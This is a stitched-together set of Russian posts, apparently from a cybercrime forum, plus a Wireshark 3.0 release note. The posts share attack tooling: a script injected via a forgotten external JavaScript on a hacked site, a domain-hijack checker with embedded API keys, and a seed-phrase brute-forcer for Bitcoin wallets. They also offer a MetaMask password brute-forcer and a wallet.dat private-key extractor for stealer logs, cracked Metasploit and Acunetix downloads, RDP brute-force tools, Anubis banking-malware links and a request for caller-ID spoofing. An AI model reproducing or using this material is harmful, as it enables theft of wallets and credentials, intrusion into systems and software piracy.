Code:Copy to clipboard

window.addEventListener('load', function() {
    if(document.getElementById("baviku")){
        var htmlToInsert = "<div><h1 style='color:white;margin-top:300px;'>XSS.AS</h1></div><div style='color:white;'>Не забывайте о внешних javascript'ах</div>";
        document.getElementById("baviku").insertAdjacentHTML('beforebegin', htmlToInsert);
        document.getElementById("baviku").remove();
    }
});

Скрипт просто подождет пока загрузится страничка, удалит блок с контентом дора и разместит надпись "XSS.AS | Не забыйте о внешних javascript'ах"
Что получилось:

Spoiler

На cloud-js точка ru/images/ajax1.js разместил скрипт через который буду получить информацию на каких еще страницах установленн данный скрипт.

Потом перешёл на главную страницу. Это сайт про какую-то шахматистку, который взломали и разместили на нем дорвей.
На сайте кстати тоже есть внешние, забытые JS (домен правда не купить)

Spoiler

====

Как установить расширение?

Spoiler

1.Открываем Google Chrome, вставляем в адресную строку "chrome://extensions/" (Без кавычек) и переходим

Spoiler

2. Прожимаем кнопку "Load unpacked" или "Загрузить распакованное расширение" и указываем папку с распакованным архивом (Ссылка на архив с расширением будет внизу). Если все сделаете правильно, появится наше расширение (скрин ниже под спойлером).

Spoiler

3. В правом углу экрана выбираете расширение, настраиваете как вам удобно.

Spoiler

4. Для тех, кто не хочет проверять домены (можно купить домен или нет?) на моем сервере - отжимаете галочку "Проверять доступность домена для покупки с помощью сервера создателя" в настройках.

Кто хочет проверять на моем сервере, предупреждаю - я буду сохранять ссылки, которые будут приходить ко мне на сервер. Если сервер вдруг ляжет или его заблокируют, ответы вам идти не будут и ссылки проверяться тоже (просто предупреждаю, учитывайте это). Советую вам отжать галочку и поставить cкрипт к себе на хостинг, проверять с помощью своего скрипта, но это не обязательно - через мой тоже будет работать какое-то время (потыкать, посмотреть как работает расширение, думаю вам хватит)

Spoiler

Такое будет описание, если нажмете на ссылку "[Где взять скрипт проверки]"

Spoiler

Не забудьте заменить на свои API ключи

PHP:Copy to clipboard

$apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Замените на ваш ключ API
$apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Замените на ваш секретный код API

ping.php

PHP:Copy to clipboard

<?php
header('Access-Control-Allow-Origin: *');
header("Content-Security-Policy: default-src 'self' *;");

function isLinkAvailable($url) {
    $headers = @get_headers($url);
    return $headers && (strpos($headers[0], '200') !== false || strpos($headers[0], '30') === 0);
}

function getDomainFromUrl($url) {
    $urlParts = parse_url($url);
    if (isset($urlParts['host'])) {
        return $urlParts['host'];
    }
    return null;
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST["linkjs"]) && isset($_POST["link"])) {
        $linkjs = $_POST["linkjs"];
        $link = $_POST["link"];
        if (isLinkAvailable($linkjs)) {
            echo "Ссылка доступна.";
        } else {
            echo "Ссылка недоступна. | Шаг 1";
            $domain = getDomainFromUrl($linkjs);
            $checkType = "FULL"; // Выберите 'FAST' или 'FULL'
            $forTransfer = false; // Выберите true или false

            $baseURL = "https://api.godaddy.com"; // URL для продукционного окружения
            // $baseURL = "https://api.ote-godaddy.com"; // URL для тестового окружения

            $url = "$baseURL/v1/domains/available?domain=$domain&checkType=$checkType&forTransfer=$forTransfer";

            $apiKey = "gGrgXqQquG3u_XnAqfboqKEkwoXkwofwB27"; // Замените на ваш ключ API
            $apiSecret = "NxssddlfiGwxxXeigjoGiegyik"; // Замените на ваш секретный код API

            $headers = array(
                "Authorization: sso-key $apiKey:$apiSecret"
            );

            $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HTTPHEADER => $headers,
            ));

            $response = curl_exec($curl);
            curl_close($curl);

            $data = json_decode($response, true);

            if ($data["available"]) {
                echo "<br>Домен $domain доступен для покупки. | Шаг 2";
                // Дополнительные действия при доступности домена
            } else {
                echo "<br>Домен $domain недоступен для покупки.";
                // Дополнительные действия при недоступности домена
            }
        }
    } else {
        echo "Ссылка не была передана.";
    }
} else {echo "Доступен";}
?>

Скачать расширение (onion)
​

Состоялся релиз новой стабильной ветки сетевого анализатора Wireshark 3.0. Напомним, что изначально проект развивался под именем Ethereal, но в 2006 году из-за конфликта с владельцем торговой марки Ethereal, разработчики были вынуждены переименовать проект в Wireshark.

В Wireshark 3 удалена реализация старого интерфейса пользователя, основанного на библиотеке GTK+. В прошлой ветке Wireshark 2 интерфейс пользователя был переведён с GTK+ на Qt, но старый интерфейс оставался доступен в качестве опции. В новом интерфейсе прекращена поддержка Qt 4.x, для работы теперь требуется как минимум Qt 5.2.

Ключевые новшества Wireshark 3.0.0:

Начальная поддержка токенов PKCS #11 для расшифровки RSA в TLS (добавить ключи для расшифровки можно в секции настроек в меню "RSA Keys");

Обеспечена поддержка повторяемых сборок, позволяющих любому пользователю убедиться, что предлагаемые бинарные сборки сформированы на основе опубликованных исходных текстов;

Добавлена поддержка преобразования меток времени для протоколов UDP/UDP-Lite;

В анализатор TShark добавлена опция "-G" для генерации файла сопоставлений (mapping) для ElasticSearch;

Добавлен диалог с информацией о применяемой системе захвата трафика (Capture Information);

В модулях разбора (dissector) потоков Ethernet и IEEE 802.11 по умолчанию отключена верификация последовательности кадров (контрольных сумм);

В модуль разбора TCP добавлена настройка "Reassemble out-of-order segments", позволяющая решить проблемы с разбором и расшифровкой потоков при неупорядоченном поступлении сегментов;

Добавлен новый модуль WireGuard Dissector для расшифровки трафика VPN WireGuard;

Модуль разбора BOOTP переименован в DHCP, а модуль SSL в TLS;

Добавлена возможность переноса между профилями настроек правил подсветки, графиков ввода/вывода, фильтров и настроек протоколов;

При импорте шестнадцатеричных дампов предоставлена возможность указания заголовка ExportPDU для прямого вызова необходимого модуля разбора, без обращения к модулям нижележащих протоколов;

В extcap-интерфейсы sshdump и ciscodump добавлена поддержка использования прокси для SSH-соединений;

В dumpcap добавлены опции "-a packets:NUM" с определением условия прекращения захвата после записи в дамп NUM пакетов и "-b packets:NUM" с определением лимита по числу пакетов в одном файле;

Добавлен отдельный профиль "No Reassembly" для отключения нормализации трафика;

В систему сборки добавлена поддержка формирования самодостаточных установочных пакетов в формате AppImage;

Реализована возможность расшифровки DTLS и TLS из файлов pcapng, включающих блок DSB (Decryption Secrets Block) c захваченными ключами (TLS Key Log);

В утилиту editcap добавлена опция "--inject-secrets" для прикрепления файла с захваченными ключами (TLS Key Log) к файлу pcapng;

В dfilter добавлена функция string() для преобразования нестроковых полей в строки для последующего использования в функциях сопоставления;

Добавлены переводы интерфейса для русского и украинского языков;

Сборки для Windows теперь поставляются с Npcap вместо WinPcap. Версия для macOS теперь может работать только в выпусках 10.12+;

Добавлена поддержка декодирования формата Ruby Marshal, используемого для сериализации объектов;

Добавлена поддержка захвата данных, передаваемых через AUX-канал интерфейса DisplayPort;

Добавлена поддержка извлечения данных из форматов PEM (RFC 7468) и файлов экспорта systemd Journal;

Обеспечена поддержка новых протоколов:

Apple Wireless Direct Link (AWDL),
Basic Transport Protocol (BTP),
BLIP Couchbase Mobile (BLIP),
CDMA 2000,
Circuit Emulation Service over Ethernet (CESoETH),
Cisco Meraki Discovery Protocol (MDP),
Distributed Ruby (DRb),
DXL,
E1AP (5G),
EVS (3GPP TS 26.445 A.2 EVS RTP),
Exablaze trailers,
General Circuit Services Notification Application Protocol (GCSNA),
GeoNetworking (GeoNw),
GLOW Lawo Emberplus Data,
Great Britain Companion Specification (GBCS),
GSM-R (User-to-User Information Element usage),
HI3CCLinkData, Intelligent Transport Systems (ITS),
ISO 13400-2 Diagnostic communication over Internet Protocol (DoIP),
ITU-t X.696 Octet Encoding Rules (OER),
Local Number Portability Database Query Protocol (ANSI),
MsgPack,
NGAP (5G),
NR (5G)
PDCP,
Osmocom Generic Subscriber Update Protocol (GSUP),
PCOM,
PKCS#10 (RFC2986 Certification Request Syntax),
PROXY (v2),
S101 Lawo Emberplus,
Secure Reliable Transport Protocol (SRT),
Spirent Test Center Signature (STCSIG),
TeamSpeak 3 DNS,
TPM 2.0,
Ubiquiti Discovery Protocol (UBDP),
WireGuard,
XnAP (5G).

Click to expand...

• Source: https://www.wireshark.org/news/20190228.html

Давно тешу себя надеждой случайно найти кошелек с забытыми там кем-то битками)

Так вот, ковыряясь в мире криптовалют, я решил стать современным Шерлоком Холмсом и охотиться за забытыми битками, как детектив за утерянными сокровищами. Взял в руки пальто, шляпу и, конечно же, Python - великого помощника в решении самых сложных головоломок.
Мой скрипт стал настоящим асом в мире криптовалютного детективизма. Он, как настоящий шпион, генерирует фразы, ковыряется в таинственных кошельках, словно засекреченный агент. А ведь это не просто генератор фраз – это мой верный напарник в охоте за забытыми сокровищами в криптовалютных джунглях.
Этот незаметный агент, прячущийся в докере, как настоящий ниндзя, двадцать четыре часа в сутки проводит настоящее расследование. Он молча, но решительно пробегает через 20 тысяч кошельков, словно кибер-Шерлок в поисках следов забытых биткойнов.
И вот, когда все мирно спят, мой скрипт открывает свои криптоглаза и рассылает уведомления в Телеграм. "Сколько проверено, сколько найдено" - как результат успешной миссии. А еще добавил интригу: "Из какого тайного IP появился отчет?" - словно шифровальщик, покрывающий свои следы.
Он не нуждается в прокси, ведь он – мастер в обходе преград, настоящий крипто- акробат, совершающий свои прыжки по блокчейну.
И вот он, мой криптодетектив, фиксирует кошельки, в которых скрыты балансы и тайные транзакции. Это не просто кошельки, это криптоарены, в которых биткойны играют в свою лучшую игру - прятки.
Так что, пока все ищут смысл жизни, мой скрипт находит забытые биткоины. Как сказал бы крипто-Шерлок: "Элементарно, мой дорогой софт!"

Spoiler: Код скрипта

Python:Copy to clipboard

import mnemonic
import bitcoin
import requests
import time
import socket
from telegram.bot import Bot

bot = Bot(token="YOUR_TOKEN")
chat_id = 'YOUR_CHAT_ID'

try:
    bot.send_message(chat_id=chat_id, text="Начинаем майнить бабло)")
except requests.exceptions.RequestException as e:
    print("Error sending message to Telegram: ", e)
    # You can add any additional error handling here

address_count = 0
last_stat_time = time.time()

while address_count < 1000000:
    # Generate a random mnemonic phrase
    mnemo = mnemonic.Mnemonic("english")
    secret_phrase = mnemo.generate(strength=256)

    # Convert the mnemonic phrase to a seed
    seed = mnemonic.Mnemonic.to_seed(secret_phrase)

    # Generate the private key from seed
    priv = bitcoin.sha256(seed)

    # Generate the public key from private key
    pub = bitcoin.privtopub(priv)

    # Generate the address from public key
    address = bitcoin.pubtoaddr(pub)

    # check balance and number of transactions
    response = requests.get("https://blockchain.info/rawaddr/" + address)
    if response.status_code == 200:
        data = response.json()
        balance = data["final_balance"]
        transactions = data["n_tx"]
        print("Checking address: ", address)
        print("Balance: ", balance)
        print("Number of transactions: ", transactions)

        if balance > 0 or transactions > 0:
            with open("good.txt", "w") as f:
                f.write(address + " : " + secret_phrase)
                message = address + " : " + secret_phrase + "\n"
                bot.send_message(chat_id=chat_id, text=message)
            break
                   
    elif response.status_code == 404:
        print(f"Address {address} not found")
    else:
        print(f"Request failed with status code {response.status_code}")

    # Отправка статистики раз в 6 часов
    current_time = time.time()
    if current_time - last_stat_time > 6 * 60 * 60:
        stat_message = f"Проверено кошельков: {address_count}\n"
        empty_addresses = sum(1 for _ in range(address_count) if balance == 0 and transactions == 0)
        stat_message += f"Найдено пустых: {empty_addresses}\n"
        stat_message += f"Найдено с балансом: {address_count - empty_addresses}\n"
        stat_message += f"IP address: {socket.gethostbyname(socket.gethostname())}"
        bot.send_message(chat_id=chat_id, text=stat_message)
        last_stat_time = current_time

    time.sleep(5)
    address_count += 1

Ниже приведу содержимое Dockerfile для развертывания

Spoiler: Dockerfile

Code:Copy to clipboard

FROM python:3.9

WORKDIR /app

COPY . /app

RUN pip install --no-cache-dir -r requirements.txt

CMD ["python3", "bablo.py"]

Ну и requirements.txt куда ж без него:

Spoiler: requirements

Code:Copy to clipboard

telegram
bitcoin
mnemonic
requests
python-telegram-bot==13.1

Закидываете все три файла на сервак и вперед, за длинным битком) Не забудьте указать токен бота и chat_id

docker build -t bablo .
docker run -d --name bablo bablo

P.S.: Да, я знаю, что многие скажут, что шансы найти кошелек с балансом стремятся к 0, но в таких ситуациях я предпочитаю Теорию вероятностей.

Данный софт представляет собой программу для поиска кошельков MetaMask в логах и перебора множества паролей для получения seed-фраз и паролей от кошельков.

Click to expand...

Spoiler: В чем его преймущество перед парсерами?

Данный софт превосходит любые парсеры кошельков MetaMask, по крайней мере, тем, что вам не нужно искать и перебирать пароли для входа, что может быть достаточно проблематичным. Брутфорсер самостоятельно найдет все кошельки MetaMask и выполнит перебор паролей не только из логов, но и сгенерирует новые на основе тех, что были получены из логов. А если и это не поможет, то можно использовать собственный личный словарь паролей, который, кстати, будет автоматически пополняться после каждого вашего брутфорса.

Spoiler: Функционал

1. Проверка публичных логов и удаление их с использованием метода поиска ключевых слов, таких как "Cloud", "Free logs", в названиях логов и в файле UserInformation.
2. Проверка и удаление исполняемых файлов из логов.
3. Использование готовых словарей паролей.
4. Генерация паролей на основе паролей из логов.
5. Самопополняющийся словарь паролей, состоящий из проверенных логов и сгенерированных на основе паролей из логов.
6. Многопоточность.
7. Мониторинг затраченного времени на брутфорс.
8. Мониторинг успешного и неудачного брутфорса.

Spoiler: Как работает брутфорс?

Сначала используются пароли из логов. Если ни один из них не подходит, то используются пароли, которые были сгенерированы на основе паролей из логов. Если и это не приводит к успеху, то используются пароли из готового словаря. Также в privat_1 записываются пароли из логов и сгенерированные на основе паролей из логов, чтобы с каждым проверенным логом вы могли расширить свой словарь и сделать каждый последующий брутфорс более эффективным.

Spoiler: Настройка и компиляция брутфорсера

1. Запустите XSSMetaBruter.sln.

2. Откройте и измените файл config.json под себя, расположенный по пути \XSSMetaBruter\bin\Release.

Обозначение значений в config.json:
"pass_dictionary": Путь до готового словаря.
"threads": Количество потоков.
"delete_empty_logs": Удалять или нет пустые логи.
"newdict_path": Путь до файла, в который будут записываться новые пароли для вашего словаря.
"check_virus": Удаление exe файлов из логов.
"check_cloud": Проверка на логи из облака.
"delete_cloud": Удаление логов из облака.

3. В Visual Studio скомпилируйте проект в режиме Release.

4. Запустите получившийся exe файл.

5. Перетащите папку с логами в открывшуюся консоль и нажмите Enter.
6. Дождитесь окончания брутфорса; результаты будут сохранены в файле txt рядом с вашим exe файлом брутфорсера.

Spoiler: Вид лога

Spoiler: Ссылка на скачивание исходников проекта


[ 56.57 MB file on MEGA

](https://mega.nz/file/NP1HyDJD#NUYB6qZRzgkrZlONFUiMB-x7xS5fOp7A7OSSFiZaJVA)

mega.nz

Metasploit Pro 2022 Full Activated - CyberSecurity Tools - Discount 100% OFF

The world’s most used penetration testing framework​

Knowledge is power, especially when it’s shared. A collaboration between the open-source community and Rapid7, Metasploit helps security teams do more than just [verify vulnerabilities](https://www.dr-farfar.com/netsparker- professional-full/), manage security assessments, and improve security awareness; it empowers and arms defenders to always stay one step (or two) ahead of the game.

Metasploit Recent Releases Dec 06, 20214.21.0-2021120601 ​

Improved​

• Pro: We have adjusted the Social Engineering Campaign Details report generation page to only display finished campaigns.
• Pro: We have updated Ruby to 3.0.2.
• PR 15887 - The path expansion code has been improved and now supports path-based tab completion. Users should now tab-complete things such as cat ~/some_filenam.
• PR 15889 - An update has been made to library code so that terminal resize events are only sent if the Meterpreter client supports it. Additionally, extra feedback is now provided to users on whether or not terminal resizing is handled automatically or if they should adjust it manually.
• PR 15898 - Ruby 3.x removes support for URI.encode and URI.escape. This PR replaces uses of these functions in modules with calls to URI:EFAULT_PARSER.escape. Ruby 3 can run these modules instead of raising errors about missing functions.
• PR 15899 - This improves the user experience when shell is invoked from a Meterpreter session. Now, when the fully_interactive_shells feature is enabled, a message is displayed to inform the operator that a fully interactive TTY is supported. You can start the feature by invoking shell -it.
• PR 15914 - This improves upon the exploit/windows/dcerpc/ms03_026_dcom module by adding a check method, documentation, and cleaning up the code.
• PR 15915 - This renames the Windows 200 SP4 Languages targets to Windows 2000 SP4 Universal since it has been tested and determined to not be language pack dependent.
• PR 15918 - This adds 13 new language pack-specific targets to the ms07_029_msdns_zonename exploit.
• PR 15920 - This adds tab completion support to the powershell_import command.
• PR 15928 - This updates Metasploit Framework's default Ruby version from 2.7 to 3. There should be no end-user impact.

Fixed​

• PR 15864 - A bug has been fixed whereby the sessions -u command would not return a x64 Meterpreter session on a x64 Windows host, and would instead return a x86 session. This issue has now been addressed so that sessions -u will determine the architecture of the target host prior to upgrading and will generate a new Meterpreter session of the appropriate architecture.
• PR 15897 - This fixes modules that check the return value of write_file() calls by returning a boolean value instead of nil.
• PR 15913 - This fixes handling for shellwords parsing of malformed user-supplied input, such as unmatched quotes, when interacting with command shell sessions.
• PR 15917 - This fixes a tab completion bug in Meterpreter.
• PR 15937 - We have removed usage of SortedSet to improve support for Ruby 3.

Modules​

• PR 15822 - This adds a module for the CVE-2021-3493 overlay fs local privilege escalation for Ubuntu versions 14.04 - 20.10 .
• PR 15866 - This adds an exploit for CVE-2021-38294 which is an unauthenticated remote command execution vulnerability within the getTopologyHistory() RPC method provided by the Nimbus service which is a component of the Apache Storm project. In order to be exploitable, at least one topology must have been submitted to the Storm cluster. It may be active or inactive but one must be present.
• PR 15874 - This adds an exploit for CVE-2021-40539 which is an unauthenticated RCE within the ManageEngine ADSelfService application.

Software License : Professional Edition ​

Version : 4.21.0-2021120601 ​

Price : $ 15000 - 1 Year ​

Discount : 100% OFF ​

Download
VirusTotal

Source :www.Dr-FarFar.com

Поделитесь ил продайте NL Brute софт для брута рдп.
Версию с работой до 2000 потоков, без ограничения кол-ва запуска копий на одном сервере. Без бага на вылет софта из-за "плохого IP'a".
Без склеек и сендеров гудов, (понятное дело).
Готов рассмотреть разные варианты, так же рассмотрю вариант приобритения кейгена который работает как привязка к железу.

В общем добрые однофорумчане, отпишитесь по теме)

Подскажите пожалуйста софт для звонков на мобильные телефоны других стран с подменой номера.....
Отблагодарю за инсайт)

Advanced tools for RDP cracking

Hidden content for authorized users.

NLBrute: https://anonfiles.com/R2a81a34o0/NLBrute_zip

KPortScan: https://anonfiles.com/b1b5163fob/KPortScan_zip

[/ hide]

New security checks​

• Added SAML anonymous assertion consumer service audit for XML external entity injection, XSLT, Server-side request forgery, and Cross-site scripting.
• Added a SAML signature audit to test attacks on signature verification.
• Added various checks for Content Security Policy misconfiguration.
• New security check for ASP.NET core development mode.
• Updated the WordPress core vulnerabilities.
• Updated the WordPress plugin vulnerabilities.

Improvements​

• Updated .NET IAST Sensor to detect a number of server-side configuration problems which may result in a security vulnerability.
• Improved the JSON payload tests.
• Updated JWT secrets dictionary.

Fixes​

• Fixed a bug in the PHP IAST sensor when reporting arrays to the scanner.
• Fixed the scan summary page that failed to show some of the results.
• Fixed issues in the UI Notifications causing them to be unactionable.
• Fixed a problem that caused the LSR to show the mobile version for some sites incorrectly.
• Fixed .NET sensor issue that returns the root applications (website’s root) files although the sensor is enabled for sub-application.
• Fixed the version information shown on the user interface after the update.
• Fixed the routing issue for .NET Framework ASP.NET Web API because of compatibility issues.
• Improved the logic sequence recorder notification that informs users when the response max size limit is exceeded.
• Fixed issue with pagination on the vulnerabilities page.
• Fixed the crawler issue that the page becomes unresponsive when it contains many elements.

Download & Crack​

• Windows: https://uplovd.com/jaA0zdV4y3/Acunetix-15.3-windows-pwn3rzs-cyberarsenal_zip
• Mirror: https://anonfiles.com/JeDdz0V7yd/Acunetix-15.3-windows-pwn3rzs-cyberarsenal_zip
• Mirror 2: https://files.fm/u/qxa9mp6d2
• Linux: https://uplovd.com/t607y5Vey7/Acunetix-15.3-linux-pwn3rzs-cyberarsenal_zip
• Mirror: https://anonfiles.com/I394y8V5y1/Acunetix-15.3-linux-pwn3rzs-cyberarsenal_zip
• Mirror 2: https://files.fm/u/qxa9mp6d2
• Password: Pwn3rzs
• RENAME wvcsc.exe to wvsc.exe BEFORE CRACKING!

У меня есть еще один, написанный мной. Дайте мне знать, если это желательно. Все, что вам нужно сделать, это установить требования, поставить ключи API и запустить основной файл.
You must have at least 10 reaction(s) to view the content.

Собственно недавно тут продавались эти исходники, взял их для изучения и решил поделиться с комьюнити

https://temp.sh/KbXHR/present.rar

Пароль местный

Чекер для массовой проверки всех приватных ключей из файлов wallet.dat

Все что я встречал в паблике или даже продаже тут у нас на форуме тупо искало в wallet.dat файлах слова "name" и выдергивало оттуда рядом лежащий адрес.
Но это в корне не правильно. Ведь если например ваш стилер отработал в понедельник, то в wallet.dat будет только 1 строка с адресом записанном в адресной книге.
И если юзер в четверг решил перевести на этот wallet.dat биткоины то он нажмет в BitcoinCore кнопку Create New Receiving Address и в wallet.dat будет записан другой, новый адрес
о существовании которого паблик чекеры знать совсем не будут. А мой же скрипт выдергивает все приватные ключи из файла wallet.dat и потом второй дополнительный скрипт
генерирует на основе найденных приватных кючей биткоин адреса всех трех типов для их удобной проверки на баланс.

Суть работы. Что бы вытащить все адреса и привкеи из всех файлов wallet.dat нужно в файле wallet-parcer-v2.py
В строке SOURCE_DIR = '/home/pr1sm/LOGS/
Прописать путь до папки с логами.
Далее запустить
python wallet-parcer-v2.py
На выходе будут 2 файла.
hashes - для того что бы попытаться сбрутить (кто шарит тот поймет зачем) и privkeys - файл с адресами legacy типа и приватными ключами.

После того как скрипт wallet-parcer-v2.py отработал берем файл privkeys и переименовываем его в address.txt
Далее запускаем скрипт wif_to_address_v2.py он нужен что бы из всех приватных ключей выдернутых с wallet.dat файлов вытащить адреса всех трех форматов. На выходе будет 2 файла
out_address.txt - файл только с адресами (быстро чекнуть все адреса из этого файла можно с помощью моего скрипта из этой темы https://xss.is/threads/51535/)
и для удобства out_wif_address.txt (если будет адрес с балансом просто вбиваем его в поиске по этому текстовику и быстро находим привкей от него).


[ File on MEGA

](https://mega.nz/file/GVpEBZaK#b65qyX2T5zxpKVI62PqS_HRvys068-UpX1EU5qeW904)

mega.nz

Пароль xss.is

Donate
Bitcoin bc1qphw8hltvwp6gqn6rx3rwgtuzxrcar6ap50rcqr
ETH 0x1C3136Ad67718Ebb6B235e159db761c5d657d0cf

del

You must have at least 1 reaction(s) to view the content.

Всем привет) Человек я тут новый, поэтому зайду в "хату" как положено))
Не так давно попало мне в руки сие чудо, разбираться времени небыло, бегло посмотрел, нужно попыхтеть с установкой.
В общем качаем на здоровье, у кого будут какие мысли по установке, делитесь в теме, чтоб софт приносил пользу.
Ах да, чуть не забыл, пасс как я понял тут принято ставить "местный")
Хайд, хоть и не большой но всёже поставлю.
ПыСЫ, также ищу человека который имеет понимание в Java/Android (для понимающего делов на пол часа), надеюсь ктото откликнется...

You must have at least 30 reaction(s) to view the content.

Привет всем друзья .
В просторах тележки в одном из каналов попался интересный архив с анубисом, даже как заявил автор - их там 6 штук.
Сам не смотрел не ставил - думаю кому нужно разберетесь .

Скачать :

You must have at least 5 reaction(s) to view the content.